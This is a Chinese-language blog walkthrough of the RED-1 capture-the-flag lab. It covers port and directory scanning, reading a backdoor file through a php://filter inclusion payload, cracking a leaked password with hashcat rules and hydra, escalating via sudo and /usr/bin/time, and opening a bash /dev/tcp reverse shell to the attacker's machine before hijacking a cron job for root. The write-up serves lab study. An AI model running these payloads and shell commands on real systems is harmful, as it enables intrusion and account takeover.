靶场学习记录:RED-1

2024-03-16 1,037 0

整体步骤: 1. 信息收集 2. 发现漏洞 3. 漏洞利用getshell 4. 提权 5. 总结

一. 信息收集

  1. 查自己的ip,然后直接扫同网段下存活的ip进行确定目标
    nmap -sp 192.168.213.0/24
    靶场学习记录:RED-1插图

  2. 确定靶场ip, 进行信息收集, 全端口扫描
    nmap -p- 192.168.213.142
    靶场学习记录:RED-1插图1

  3. 来到80端口,访问页面
    靶场学习记录:RED-1插图2
    大概意思时候当前网站已经被攻击, 存在后门, 提示我们这里存在后门文件, 进一步进行信息收集, 直接查看源代码
    靶场学习记录:RED-1插图3
    看到存在一个主机地址, 在本地配置一下映射 vim /etc/hosts
    然后访问此网站, 可以正常访问
    靶场学习记录:RED-1插图4

2.发现漏洞

接下来进行目录的扫描,看一下是不是存在敏感信息文件,用到的工具是gobuster
靶场学习记录:RED-1插图5
可以看见存在NetworkFileManagerPHP.php,这个文件访问不到,状态码为500,我们可以wfuzz测试一下参数
靶场学习记录:RED-1插图6
靶场学习记录:RED-1插图7

3.漏洞利用getshell

可以看见是存在key参数的,访问此文件加上key参数尝试一下文件包含,完全可以利用的
靶场学习记录:RED-1插图8
现在想看到NetworkFileManagerPHP.php里面的代码,但是正常情况是不能看的,可以采用filter协议
构造伪协议:http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/convert.base64-encode/resource=NetworkFileManagerPHP.php
靶场学习记录:RED-1插图9
成功读取到,进行base64进行解码, 得到一句英语That password alone won't help you! Hashcat says rules are rules, 也就是说密码对我们没有帮助, 那么就使用使用Hashcat规则。由于它是base64编码的,我们可以假设Red在谈论Hashcat的Best64规则为密码突变,想到的这里大概能获取wp-config文件,里面有数据库的密码
靶场学习记录:RED-1插图10
进行base64进行解码,发现了账号和密码 john/R3v_m4lwh3r3_k1nG
尝试登录到ssh ssh @john192.168.213.142 然后输入密码发现登入不上去,现在想到之前提及到hashcat

用户名是john,前面查看/etc/passwd文件时发现也有john用户,那就用这个用户登录ssh,将密码保存到pass.txt文件中,然后用hashcat规则破解:
靶场学习记录:RED-1插图11
可以看见密码文件里面存在很多密码
靶场学习记录:RED-1插图12
用户名已经知道,也有密码本,直接使用hydra进行爆破ssh
靶场学习记录:RED-1插图13
靶场学习记录:RED-1插图14
爆破出来了账号和密码了,直接登入,进来后直接ls查看一下当前的文件有那些
靶场学习记录:RED-1插图15
直接cat 文件看一下里面有什么内容,发现cat和vim互相换

靶场学习记录:RED-1插图16

4.提权

直接sudo -l查看一下用户可执行的命令列表
靶场学习记录:RED-1插图17
发现ippsec用户在无密码的情况下可以执行/usr/bin/time命令,在提权网站上查找提权方法
可以使用sudo -u ippsec /usr/bin/time /bin/bash 提权到ippsec用户上,但是发现刚才登入的ssh已经退出来,而且在此使用那个密码的时候是不能登入的,需要重新爆破一次并且登入,所以重新爆破一次然后准备写入反弹shell把shell反弹到本地然后升级shell拿到一个稳定的shell
靶场学习记录:RED-1插图18
创建shell.sh,写入反弹shell
靶场学习记录:RED-1插图19
bash -c 'bash -i >& /dev/tcp/192.168.213.129/4444 0>&1' 在本地kali开启监听,即可得到一个shell,但是这个shell是不稳定的,这里提升一下shell,让他成为一个稳定shell
在 kali 上运行nc -lvvp 4444和 执行 shell 脚本
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm然后 Ctrl+Z 退出来一下
stty raw -echo;fg回车后输入 reset 再回车
在/tmp目录下创建的shell.sh无法运行,只有在/dev/shm里面进行创建以及修改,也可以在本地创建写入然后开启python服务进行下载 现在拿到了一个稳定的shell,现在开始想办法提权,因为之前在打开web端显示后门,可以提示网站肯定存在后门的,并且存在定时任务,我们可以想着通过定时任务进行提权,这样反弹回来的就是root权限了。可以用到pspy64s 是一种命令行工具,无需root权限即可监听进程。可查看其他用户执行的命令
下载地址:https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
直接下载到本地,然后开启http服务上传到靶场里面,开启运行可以发现

靶场学习记录:RED-1插图20
查看里面代码,发现定时弹出的代码,我们只需要上传一个提权脚本代替即可
靶场学习记录:RED-1插图21
在本地创建一个后门点.c然后上传打牌对方服务器,名字和之前的一样,删掉之前的那个文件,然后在本地开启监听,就会反弹一个root权限回来
靶场学习记录:RED-1插图22

5.总结

首先确定目标后看开放的端口,针对不同的端口进行不同的方法进行测试,web端口本靶场直接进行目录爆破,爆破到后门文件,但是不知道里面代码,用wfzz进行模糊测试,然后进行漏洞测试,简单可以用到文件读取,但是还是想读到后门文件,这时候可以用到php伪协议进行读取,然后加上提示加上规则可以想到读取账号和密码 wp-config,然后破解出来的账号和密码尝试登入到ssh,但是显示密码不对,这时候想到提示hashcat规则,进行破解然后用hydra进行破解22ssh端口,进行后开始提权,可以直接查看各用户可执行的命令,可以看看是不是可以先提到一个稍微高一点的权限,输入sudo -l可以看到ippsec无密码可执行/bin/bash/time,进行搜索提权,成功提权后,由于shell是不稳定的,几分钟就会被弹出,想到这应该是一个定时任务,我们可以采用定时任务提权,但是先创建一个稳定的shell,用到上面的,然后然后监听进程,找到定时文件.c,上传提权脚本代替它就行,达到root权限


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论